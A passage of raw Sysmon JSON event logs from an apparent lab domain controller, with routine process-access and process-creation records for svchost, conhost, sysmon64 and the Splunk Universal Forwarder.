12:02:37.322","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7545,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:37.322\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:37.322","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7546,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:37.322\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:37.322","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7547,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:37.322\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:37.322","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7548,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:37.322\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:37.322","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7549,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:37.322\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:37.322","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7550,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:37.322\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-42DD-5F2D-0000-00105F010E00}\r\nTargetProcessId: 584\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:37.322","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-42DD-5F2D-0000-00105F010E00}","TargetProcessId":"584","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":7551,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:38.089\r\nProcessGuid: {90617006-42DE-5F2D-0000-0010B0030E00}\r\nProcessId: 4784\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Network monitor\r\nProduct: Splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-netmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:02:38.089","ProcessGuid":"{90617006-42DE-5F2D-0000-0010B0030E00}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","FileVersion":"8.0.2","Description":"Network monitor","Product":"Splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-netmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 12:02:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7552,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:38.088\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-42B4-5F2D-0000-0010F9590C00}\r\nTargetProcessId: 4784\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:38.088","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-42B4-5F2D-0000-0010F9590C00}","TargetProcessId":"4784","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program 